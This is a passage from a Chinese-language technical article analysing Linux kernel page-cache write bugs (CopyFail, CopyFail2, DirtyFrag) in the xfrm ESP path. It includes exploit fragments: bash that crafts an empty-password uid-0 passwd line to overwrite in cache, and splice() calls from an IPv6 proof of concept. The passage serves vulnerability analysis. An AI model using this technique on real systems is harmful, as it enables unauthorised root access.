leaf="">&#34;:/:/bin/bash&#34;</span></span><br/><span leaf="">PAD_LEN=$((VICTIM_LEN - </span><span style="color: rgb(0, 128, 0);"><span leaf="">${<a class="wx_topic_link" topic-id="mow8p1d1-pxytyr" style="color: #576B95 !important;" data-topic="1" data-recommend="">#PREFIX</a>}</span></span><span leaf=""> - </span><span style="color: rgb(0, 128, 0);"><span leaf="">${<a class="wx_topic_link" topic-id="mow8p1d2-trl746" style="color: #576B95 !important;" data-topic="1" data-recommend="">#SUFFIX</a>}</span></span><span leaf="">))</span><br/><span leaf="">PAD=$(</span><span style="color: rgb(0, 122, 204);"><span leaf="">printf</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;%*s&#39;</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">$PAD_LEN</span></span><span leaf="">&#34;</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;&#39;</span></span><span leaf=""> | </span><span style="color: rgb(0, 122, 204);"><span leaf="">tr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39; &#39;</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;X&#39;</span></span><span leaf="">)</span><br/><span leaf="">TARGET_LINE=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">${PREFIX}</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">${PAD}</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">${SUFFIX}</span></span><span leaf="">&#34;</span></span></code></pre><p data-line="122" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">然后逐字节比较原始行和目标行，只对不同字节调用底层写原语：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="124" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> ((i=</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i&lt;len; i++)); </span><span style="color: rgb(0, 0, 255);"><span leaf="">do</span></span><br/><span leaf="">	o=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">${src:$i:1}</span></span><span leaf="">&#34;</span></span><br/><span leaf="">	t=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">${dst:$i:1}</span></span><span leaf="">&#34;</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> [ </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">$o</span></span><span leaf="">&#34;</span></span><span leaf=""> != </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">$t</span></span><span leaf="">&#34;</span></span><span leaf=""> ]; </span><span style="color: rgb(0, 0, 255);"><span leaf="">then</span></span><br/><span leaf="">		FLIPS+=(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(43, 145, 175);"><span leaf="">$((line_off + i)</span></span><span leaf="">):</span><span style="color: rgb(43, 145, 175);"><span leaf="">$(printf &#39;0x%02x&#39; </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;&#39;</span><span style="color: rgb(0, 128, 0);"><span leaf="">$t</span></span><span leaf="">&#34;</span></span><span leaf="">)</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">fi</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">done</span></span></code></pre><p data-line="134" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种写法不改行长，不移动后续字段偏移。页缓存里出现空密码uid0用户后，再通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf="">进入它。</span></p><p data-line="136" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">CopyFail2还补了IPv6版本。README中特别强调同类问题也能落到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp6_input()</span></code><span leaf="">，IPv6PoC使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">::1</span></code><span leaf="">回环和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ip -6 xfrm</span></code><span leaf="">，并且多塞了16字节padding，因为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">xfrm6_input.c</span></code><span leaf="">存在长度检查，UDPpayload至少要达到40字节。需要注意的是，当前能查到的netdev修复提交</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4</span></code><span leaf="">已经同时修改了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp4.c</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp6.c</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ip_output.c</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ip6_output.c</span></code><span leaf="">；如果某个发行版只回补了IPv4侧修复，IPv6侧才会继续成为绕过面。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="138" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (splice(afd2, &amp;off, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MORE) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">)</span><br/><span leaf="">	die(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;splice esp_hdr&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (splice(tfd, &amp;toff, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, SPLICE_F_MORE) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">)</span><br/><span leaf="">	die(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;splice target byte&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (splice(afd2, &amp;poff, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MORE) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">)</span><br/><span leaf="">	die(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;splice pad&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (splice(afd2, &amp;ioff, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MORE) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">)</span><br/><span leaf="">	die(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;splice icv&#34;</span></span><span leaf="">);</span></code></pre><p data-line="149" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">三者关系可以压成下面这张表：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="151" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">CopyFail：</span><br/><span leaf="">	AF_ALG状态机问题，PageCache进入加密socket后被写回</span><br/><span leaf="">CopyFail2：</span><br/><span leaf="">	xfrm ESP-in-UDP无COW快路径，PageCache进入skb-&gt;frag后被ESP写回</span><br/><span leaf="">DirtyFrag：</span><br/><span leaf="">	把xfrm-ESP Page-Cache Write和RxRPC Page-Cache Write串联</span><br/><span leaf="">	用两条链覆盖不同发行版策略与模块差异</span></code></pre><p data-line="163" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">CopyFail2可以理解为CopyFail思路迁移到XFRM/ESP后的版本；从根因看，它已经踩在DirtyFrag ESP分支的同一位置，只是payload组织方式不同。</span></p><h2 data-line="165" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">xfrm-ESP漏洞原理</span></h2><p data-line="167" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">先看ESP这条链。问题出在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp_input()</span></code><span leaf="">处理非线性</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">时跳过了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb_cow_data()</span></code><span leaf="">。</span></p><p data-line="169" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">正常情况下，如果</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">的数据来自外部共享页，内核在原地修改之前应该先做copy-on-write，复制到内核自己的私有buffer里。但漏洞分支里只要</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">没有被clone，并且没有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frag_list</span></code><span leaf="">，就直接</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">goto skip_cow</span></code><span leaf="">。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="171" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">esp_input</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> xfrm_state *x, </span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sk_buff *skb)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!skb_cloned(skb)) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!skb_is_nonlinear(skb)) {</span><br/><span leaf="">			nfrags = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> skip_cow;</span><br/><span leaf="">		} </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!skb_has_frag_list(skb)) {</span><br/><span leaf="">			nfrags = skb_shinfo(skb)-&gt;nr_frags;</span><br/><span leaf="">			nfrags++;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> skip_cow;</span><br/><span leaf="">		}</span><br/><span leaf="">	}</span><br/><span leaf="">	err = skb_cow_data(skb, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, &amp;trailer);</span><br/><span leaf="">}</span></code></pre><p data-line="189" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">问题就藏在第二个分支里。通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">发出去的文件页会挂在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb_shinfo(skb)-&gt;frags[]</span></code><span leaf="">，这是非线性</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">，但它通常没有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frag_list</span></code><span leaf="">。于是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp_input()</span></code><span leaf="">绕过了COW，后续加解密直接在这个页缓存页上操作。</span></p><p data-line="191" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">接下来看写入位置。ESP配合ESN和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">authencesn(hmac(sha256),cbc(aes))</span></code><span leaf="">时，会在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">crypto_authenc_esn_decrypt()</span></code><span leaf="">里移动高32位序列号。这个移动不是纯逻辑移动，而是一次真实写入。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="193" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">crypto_authenc_esn_decrypt</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> aead_request *req)</span></span><br/><span leaf="">{</span><br/><span leaf="">	scatterwalk_map_and_copy(tmp, src, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (src == dst) {</span><br/><span leaf="">		scatterwalk_map_and_copy(tmp, dst, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><br/><span leaf="">		scatterwalk_map_and_copy(tmp + </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, dst,</span><br/><span leaf="">			assoclen + cryptlen, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><br/><span leaf="">		dst = scatterwalk_ffwd(areq_ctx-&gt;dst, dst, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><br/><span leaf="">	}</span><br/><span leaf="">}</span></code></pre><p data-line="206" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scatterwalk_map_and_copy(...,1)</span></code><span leaf="">表示向目标scatterlist写数据。因为前面</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aead_request_set_crypt(req,sg,sg,...)</span></code><span leaf="">让</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dst</span></code><span leaf="">指向同一批</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sg</span></code><span leaf="">，所以这里写的不是普通临时buffer，而是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 